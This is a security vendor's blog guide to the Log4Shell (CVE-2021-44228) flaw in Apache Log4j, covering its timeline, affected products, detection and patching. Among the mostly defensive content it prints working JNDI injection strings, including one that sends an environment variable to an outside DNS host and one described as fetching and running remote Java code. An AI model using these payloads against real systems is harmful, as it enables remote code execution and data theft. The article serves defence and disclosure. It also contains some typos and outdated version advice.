Apache Log4j Vulnerability Fix – Zero Day Exploit 2022 [GUIDE]

Updated on January 24, 2022

⚡️ Log4j Vulnerability Fix

A Critical flaw in Log4j, a Java-based Apache Log4j library for logging error messages in applications, has take the internet by storm. It is very broadly used in a variety of enterprise and open-source softwares, websites & web applications. Log4j vulnerability, being tracked as CVE-2021-44228 has been assigned a CVSS score of 10, the maximum severity rating possible. In this detailed guide, you will get guidance to prevent, detect, and fix Apache Log4j exploit .

---

Is My WordPress site affected by log4j?

Answer to this question is, NO. BUT, the server on which your site is hosted MAY BE IMPACTED WITH log4j exploit which can lead to getting your site compromised.

---

On December 9, 2021, a security researcher posted information on Twitter about a new vulnerability related to Apache Log4J, referenced as CVE-2021-44228, and allowing 0 day remote code execution RCE.

The first PoC (Proof of Concept) of the vulnerability is already available at the time of writing  .The Apache Software Foundation has aslo issued an emergency security update to the Java library Log4j that provides logging capabilities.

Due to the popularity of the library and the ease with which this vulnerability can be exploited, Log4Shell is considered very dangerous and could compromise countless devices. To put it in perspective, some people have characterized this vulnerability as worse than heartbleed.

Timeline

• November 26: MITRE assigns the CVE identifier CVE-2021-44228
• November 29: An issue, LOG4J2-3198, is created to fix the vulnerability
• November 30: The commit fixing the vulnerability is pushed to the Log4j codebase
• December 10: LunaSec publishes an analysis and detailed advisory of the vulnerability
• December 10: Mass scanning and exploitation attempts of the vulnerability are recorded

 

2022 LATEST UPDATES

• 💥NEW – The Apache Software Foundation (ASF) announced new patches to mitigate an arbitrary code execution vulnerability in Log4j which may be abused by threat actors to conduct malicious code on affected servers, making it the tool’s 7th security flaw in even less than a month. While Log4j 1.x is untouched, users are recommended to upgrade to Log4j 2.3.2 (for Java 6), 2.12.4 (for Java 7) or 2.17.1 (for Java 8). (for Java 8 and later).

💥NEW UPDATE #1	Log4J being now being used to Drop Ransomware, Web Shells, Backdoors – Amid the increase in Log4J attack activity, at least one Iranian state-backed threat group is preparing to target the vulnerability, experts say. “Patching, applying [indicators of compromise], and updating threat detection and response is critical right now for all organizations. 42% of the attack activity is aimed at servers, and more than a quarter of it (27%) targets virtual machines. – (source) Attackers are using log4j exploit to hack wordpress site hosted on Apache Servers, by initiating various kind of malware attacks on WordPress websites like XSS attack, Brute force attack, DDOS attack, SQL injection, Pharma hack, Redirect Maware, Japanese Keywords Hack, Coinmining malware  and many more.
💥NEW UPDATE #2	cPanel plugin contains the Log4j vulnerability – The vulnerable Log4j Java library was discovered in an essential cPanel plugin called cPanel Dovecot Solr plugin. According to business intelligence company BuiltWith, more than three million customers use cPanel. The plugin is an essential component of the IMAP messaging protocol.Within hours, a cPanel technical analyst announced that a fix had been released.Check out our detailed article here.( will add link to this article)
💡INSIDER TIPS	CVE-2021-44228 can only be exploited if the log4j2.formatMsgNoLookups option in the library’s configuration is set to false Apache Software Foundation published a new Log4j patch after discovering issues with 2.16. It is vulnerable to CVE-2021-45105, a denial of service DDOS vulnerability

Get Help, Scan & Patch Apache Log4j Vulnerability

Many services use log4j as part of their core service which means exploitation is not only towards the apache web server but many other services based on the apache log4j and httpd.

We have created an internal logj4 scanning tool for identifying server applications that might be affected by Log4Shell .( Launching Soon for pubic )

What Is Log4j / Log4Shell?

Known as Log4 Shell, the flaw is exposing some of the world’s most popular applications and services to attack anything, it’s now excruciatingly clear that Log4 Shell will continue to wreak havoc across the internet for years to come. 

This zero-day security vulnerability known as the Log4Shell attack , allows remote code execution (RCE) by recording a string.

The vulnerability affects popular services like iCloud, Minecraft servers, Steam, etc., however, services with strict security rules might be able to mitigate the impact.

All versions of the library are affected, apart from 2.15.0 which has just been released and corrects the vulnerability.

In the case of Log4j versions 1.x, there is a condition for it to be exploitable: “ the vulnerability only exists if the JMS Appender component is configured to take JNDI into account. It is, therefore, a very specific configuration ”, explains the security expert.

About Log4 Shell, Apache’s Log4j security update explains that in versions 2.14.1 and under of the library, JNDI features are used in the configuration, log messages, and parameters. Do not protect against attacker-controlled LDAP and other JNDI-related endpoints.

Exploitation attempts have already been detected in the wild, according to Symantec, because the exploit code is shared publicly and several attackers are already trying to exploit it.

Vendors with popular products known to be still vulnerable include Atlassian, Amazon, Microsoft Azure, Cisco, Commvault, ESRI, Exact, Fortinet, JetBrains, Nelson, Nutanix, OpenMRS, Oracle, Red Hat, Splunk, Soft, and VMware. The list is even longer when adding products where a patch has been released.

Any Log4J version prior to v2.15.0 is affected by this specific issue.

The version 1 branch of Log4J is vulnerable to other RCE attacks and should be updated.

Apache Log4j2 jndi RCE #apache #rce https://github.com/apache/logging-log4j2/pull/608

What Does a Log4j Exploit Look Like?

An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled

Log4J is a useful and necessary technical activity in an application to:

• perform additional operations, in order to retrieve values ​​from additional sources;
• to make calls to third-party systems, with protocols like LDAP (directory system) via JNDI.

The CVE-2021-44228 / Log4Shell vulnerability consists of injecting a malicious software load, which will ask Log4J to fetch a value from a third-party source, with JNDI, and via the LDAP protocol.

However, in this case, Log4J does not check the imported data well enough. The imported data can then be coded, which will be executed by Log4J on the system.

Log4J 0-day Exploit Impact

The critical vulnerability in open-source Apache Log4j 2 logging software fuels a chaotic race in the cybersecurity world, with the Apache Software Foundation (ASF) releasing emergency security updates as bad actors hunted down vulnerable servers.

Log4j 2, developed by ASF, is a widely used Java package that allows connection to a variety of popular applications. The bug, tracked as CVE-2021-44228, is a zero-day vulnerability that allows unauthenticated remote code execution (RCE) that could give attacks control over the systems on which the software runs.

The vulnerability – which has been dubbed Log4Shell – was assigned a severity score of 10/10, the highest possible score. The Apache Foundation has released an emergency patch as part of Log4j 2 version 2.15.0 that fixes the RCE vulnerability.

The wide reach of Log4j

The software is used by both enterprise applications and cloud-based services, and the vulnerability could have broad effects on enterprises, according to security professionals. Log4Shell could also have an impact on the default configurations of several Apache frameworks, such as Apache Struts2, Apache Druid and Apache Flink.

For example, Log4j is included with almost all the enterprise products released by the Apache Software Foundation, such as Apache Struts, Apache Flink, Apache Druid, Apache Flume, Apache Solr, Apache Flink, Apache Kafka, Apache Dubbo, and possibly many more.

In addition, other open-source projects like Redis, ElasticSearch, Elastic Logstash, the NSA’s Ghidra, and others also use it in some capacity or other.

According to RedHat (source:), it’s rated as 9.8 CVSSv3 which is almost as bad as it gets.

If successfully exploited on your infrastructure, it will result in attackers being able to perform an RCE (Remote Code Execution) attack and compromise the affected server.

Considering the relative simplicity of the exploit, it’s likely that your incident response team will face an attack.

Naturally, all the companies that use any of these products are also indirectly vulnerable to the Log4Shell exploit, even if some of them may be aware of it or not.

According to some research, companies with servers confirmed to be vulnerable to Log4Shell attacks include the likes of Apple, Amazon, Twitter, Cloudflare, Steam, Tencent, Baidu, DIDI, JD, NetEase, and possibly thousands more.

“Given the ubiquity of this library, the impact of the exploit (full control of the server) and its ease of operation, the impact of this vulnerability is quite severe”, Free Wortley, CEO of the cybersecurity company LunaSec, and Chris Thompson, a developer at the company, wrote in a blog post. “Anyone who uses Apache Struts is probably vulnerable.

We have already seen similar vulnerabilities exploited in breaches such as the Equifax data breach in 2017. ”

They wrote that many services are vulnerable to the exploit, including cloud services like Apple iCloud and Steam and apps like Minecraft. Open source projects like Paper, the server used by Minecraft, have started patching Log4j 2. Servers used by companies such as Twitter, Cloudflare, Apple, and Tencent have also been found to be vulnerable to Log4Shell.

A number of other open-source projects, such as ElasticSearch, Redis, and Elastic Logstash, would also use Log4j.

The Log4Shell vulnerability comes months after open-source security was a central topic of discussion at this year’s Black Hat conference.

How Do I Find My Servers With the Log4j Vulnerability?

For enterprise IT and security teams tasked with updating Java applications containing the vulnerable Log4j, the difficult part is accurately assessing whether they have any affected applications in the first place.

Block the Traffic

One thing that organizations can do while they are investigating is to use the firewall rules to block suspicious egress traffic “When the first-stage of Log4Shell is triggered, this triggers a lookup to an attacker-controlled server . The lookup, which retrieves the second-stage Java payload or exfiltrates sensitive information, can use a variety of JDNI-supported protocols, including LDAP and DNS. Those are the protocols to pay attention to.

How do I check if Log4j is installed on my server?

There is no command that will surely tell you that. Some applications ship the libraries they use directly as a jar file, some will contain them in an archive.

Here at WP Hacked Help, we have  tools that can help us test whether your applications are vulnerable to Log4Shell (CVE-2021-44228). The tool we work with generates a random unique identifier which we use when testing input fields. If an input field or application is vulnerable, it will reach out to this website over LDAP. Our LDAP server will immediately terminate the connection, and log it for a short time. This tool will not actually run any code on your systems.

Am I affected by the Log4J vulnerability?

To check if your application  is likely to be affected, you need to check:

Log4j version – all 2.x versions prior to 2.15.0 (released today, Friday December 10, 2021) are affected

JVM version – if less than:

Java 6 – 6u212

Java 7 – 7u202

Java 8 – 8u192

Java 11 – 11.0.2

If both are true, your Log4j version is old than 2.15.0, and your Java version’s patch level is older than what is stated above, you are almost certainly affected.

By now, it’s likely that your internet infrastructure has already been compromised because this vulnerability is being actively exploited, according to this report:

Keep in mind that even if your application does not directly use log4j, its surrounding infrastructure such as application server, message queue server, database server, network devices may use this combination of Java and the log4j version that exposes you to this vulnerability.

Log4Shell Vulnerability Scanner/Tester

This can help you test whether your applications are vulnerable to Log4Shell (CVE-2021-44228). The source code for this tool is available on GitHub at huntresslabs/log4shell-tester.

Here’s how to use it:

• You simply copy and paste the generated JNDI syntax (the code block ${jndi[:]ldap[:]//…. presented below) into anything (application input boxes, frontend site form fields, logins such as username inputs, or if you are bit more technical, even User-Agent or X-Forwarded-For or other customizable HTTP headers).
• Check the results page to see if it received any connection, and verify the detected IP address and timestamp, to correlate with when you tested any service.
• If you see an entry, a connection was made and the application you tested is vulnerable.

The tool is designed to offer a simpler means of testing and is intended for testing purposes only—it should only be used on systems you are authorized to test. If you find any vulnerabilities, please contact us

How Log4J vulnerability work?

The simplest strategy is to create a DNS listener service like .

By clicking on “Get subdomain”, DNSlog generates a unique domain name.

The objective is then to send the following message to the vulnerable software:

${jndi:ldap://<sous-domaine-unique>.dnslog.cn/}

If the message sent is recorded by Log4J, then Log4J will generate an LDAP call on DNSlog, and this call will be visible on DNSlog.cn.

A hacker can thus ask a vulnerable system to make requests to a server under his control and take the opportunity to push malicious instructions which will then be executed by Log4J.

This vulnerability also makes it very easy to extract information using the DNS protocol, for example with the following request:

${jndi:ldap://${env:user}.dnslog.cn/}

However, some HTTP headers are particularly affected by log records, such as the User-Agent, often used for statistical purposes (the User-Agent indicates the browser used). In this context, many hackers are currently scanning the entire Internet by injecting a jndi request in the User-Agent header in order to find websites affected by CVE-2021-44228.

Even a specific chat message in Minecraft is enough to trigger the vulnerability on its servers.

LunaSec notes that JDK versions greater than 6u211, 7u201, 8u191 and 11.0.1 are not affected by the LDAP attack vector, however, not all systems are easy to upgrade and it may take some time before that popular services are fully protected against this exploit.

As this exploit also works on Apple’s iCloud, the potential security risks are that hackers could execute code remotely on the servers, potentially allowing access to user data, installing backdoors and causing downtime. stop. However, this is all moot and there are several safety rules that can mitigate the impact. Unless you hear from Apple about the impact of this vulnerability, it’s hard to say how iCloud users are affected, if at all.

The likes of Apple, Microsoft, Steam, and others should react quickly. and remedy this problem. We’ll likely learn in-depth details of what the companies have done to mitigate the risk over the next few days.

What systems are affected by Log4J?

According to the Apache newsletter, the vulnerability affects Log4J in versions 2.0-beta9 through 2.14.1 inclusive.

Thus, Apache recommends updating Log4J to version 2.15.0 to correct the problem.

The authorities, in particular ANSSI, also recommend updating Log4J to version 2.15.0 as soon as possible.

In addition, any software using Log4J in vulnerable configurations is also vulnerable. This concerns much complimentary software, such as Steam, Minecraft …

 

I can confirm that pre 1.18.1 versions of Minecraft are indeed vulnerable to the log4j exploit CVE-2021-44228 – version 1.18.1 is not affected but 1.18.0 , 1.17.1 are .. probably all the way back to 1.12. pic.twitter.com/YkEimyy5Cs

— 💾 Astr0 Baby (@astr0baby) December 10, 2021

 

⚡️ Patch Log4J Vulnerability – Log4Shell Fix

The priority action is to update Log4J to version 2.15.0, through the usual package managers or via a direct download from https://downloads.apache.org/logging/log4j/2.15.0/.

It is also possible to reduce the degree of the exploitability of the vulnerability by setting the environment variable FORMAT_MSG_NO_LOOKUPSto true. This countermeasure, however, only works for versions of Log4J greater than or equal to 2.10.

Let’s move on to the other possibilities.

#1 – log4j version 2.15.0 Workarounds

It is obviously more than strongly recommended to use version 2.15.0 of log4j in order to guard against Log4Shell, but if this is not possible workarounds are possible:

Log4j versions 2.7.0 and later: “ it is possible to guard against any attack by modifying the format of the events to be logged with the% m {nolookups} syntax for the data provided by the user. This modification requires modifying the log4j configuration file to produce a new version of the application. This, therefore, requires performing the technical and functional validation steps again before the deployment of this new version ”

Log4j versions 2.10.0 and later: “ It is also possible to guard against any attack by modifying the log4j2.formatMsgNoLookups configuration parameter to the value true, for example, when launching the Java virtual machine with the -Dlog4j2 option. formatMsgNoLookups = true. Another alternative is to delete the JndiLookup class in the classpath parameter to eliminate the main attack vector (the researchers do not rule out the existence of another attack vector) ”.

Amazon Web Services offers a hotpatch, ” to be used at your own risk “. Other “techniques” have been published, notably, Logout4Shell which ” uses this vulnerability against itself “. The security expert asks the question of the legality of this maneuver which consists in ” hacking a machine to patch it “.

#2 – Issue fixed in Log4J v2.15.0.

For version >=2.10:

Set log4j2.formatMsgNoLookups to true

For releases from 2.0 to 2.10.0:

Remove the LDAP class from Log4J by running the following command: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Set the system property log4j2.formatMsgNoLookups to true

Mitigate in the JVM:

Mitigation via JVM parameters is no longer possible. Other mitigation measures are still effective.

If possible, upgrade to Log4J version 2.15.0. If you are using Log4J v1, a migration guide is available.

If the upgrade is not possible, make sure that the -Dlog4j2.formatMsgNoLookups = true system property is set on the client-side and server-side components.

Please note that Log4J v1 is the end of life (EOL) and will not receive fixes for this issue. Log4J v1 is also vulnerable to other RCE vectors and we recommend that you migrate to Log4J 2.15.0 where possible.

#3 – Mitigation measures

In some cases, current exploits may not work even if Log4j is vulnerable, for example, if the host system is using a version of Java greater than 6u212, 7u202, 8u192, or 11.0.2. This is because these releases have improved Java Naming and Directory Interface (JNDI) remote class loading protection, which is required for the exploit to work.

Additionally, in versions of log4j greater than 2.10, the problem can be mitigated by setting the formatMsgNoLookups system property to true, setting the JVM parameter -Dlog4j2.formatMsgNoLookups = true, or removing the JndiLookup class from the classpath.

Meanwhile, until the vulnerable instances are patched, the vulnerability can be mitigated through the following steps :

• For >=2.10, set system property log4j2.formatMsgNoLookups to true.
• For >=2.10, set environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true.
• For 2.0-beta9 to 2.10.0, remove JndiLookup.class from class path: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.

One recommended best practice is to limit the egress traffic to internet from necessary ports only.

Though the attacks in the wild are predominantly delivered over HTTP, the vulnerability could be exploited over any protocol wherein user input data is logged using Log4j. However, the best solution is to update to log4j 2.15.0 as someone might find an alternate path to reach the vulnerability. In addition, several publishers and manufacturers have announced updates to correct their services or applications.

#4 – Patch for the Log4Shell vulnerability

Log4j transpires a lot everywhere, especially since the vulnerability is currently in use. To make it short, all you have to do is pass the following characters in the logs analyzed by log4j.

${jndi:ldap://URL.com/FICHIER_JAVA}

and this will have the effect of downloading and executing the java file which is at the end of the url “URL.com/FICHIER_JAVA”. It is as simple as it is dramatic.

As you know, to patch this Log4Shell vulnerability (CVE-2021-44228), it is urgent to update log4j to a version> = 2.15.0.

And if this is not possible:

For applications using versions 2.10.0 and later of the log4j library, it is also possible to guard against any attack by changing the configuration parameter log4j2.formatMsgNoLookups to true, for example when launching the Java virtual machine with the -Dlog4j2.formatMsgNoLookups = true option .

Another alternative is to remove the JndiLookup class in the classpath parameter to eliminate the main attack vector (the researchers do not rule out the existence of another attack vector).

But another possibility is to let nature take its course and this is what Cybereason offers with this code called Logout4Shell which exploits the Log4Shell vulnerability to… quite simply patch it.

The payload which is loaded via the vulnerability will force the Log4j recorder to reconfigure itself to switch the parameter which goes well to True and will thus prevent any subsequent exploitation via this attack.

It’s a kind of a patch while waiting for a real update of Log4j.

If you are interested, the code is available on Github.

https://github.com/Cybereason/Logout4Shell

#5 – Google Cloud IDS signature updates to help detect Apache Log4j CVE-2021-44228 vulnerability

Cloud IDS from Google Cloud is a native, network-based threat detection product that detects attempted exploitation. To help customers monitor, the Cloud IDS team worked with Palo Alto Networks and the Google Cybersecurity Action Team to analyze this issue and update Cloud IDS detection systems to detect the most common types of attempts.

For customers currently using Cloud IDS, this has been automatically rolled out, as of 12-12-2021 at 9:00 PM UTC and no further action is required to activate it. Alerts from these detections have a severity level of Critical, and therefore all Cloud IDS endpoints will be alerted to these detections without any configuration changes being required for your IDS endpoint threat severity profile.

After you configure Cloud IDS to monitor traffic for application workloads that may be exploited due to this vulnerability, you can quickly search for alerts related to CVE-2021-44228 in the Cloud IDS console by using a filter on ” Name of the threat: Apache Log4j Remote Code Execution Vulnerability »

Get Log4J Affected Servers Patched Today

We have created a quick web-based scanning tool for identifying server applications that might be affected by Log4Shell . Get a free and automatic discovery of your affected assets. 

WP hacked help customers can be notified on an exposed and vulnerable CVE-2021-4428, without the need to perform any action.

Vendor patches should be applied to mitigate possible attacks that might exploit Log4Shell. In addition, Wp hacked help has released supplementary rules, filters, and detection protection that might help provide additional security against and detection of malicious components associated with such attacks.

Note, updates and patches will not be as easy as they might seem to fix Log4J vulnerability. A team of experts is needed to fix the Log4J issue. WP Hacked Help is well aware of these attack methods to keep your data secure.

Please contact the WP Hacked Help technical team for assistance below or you can CONTACT US HERE..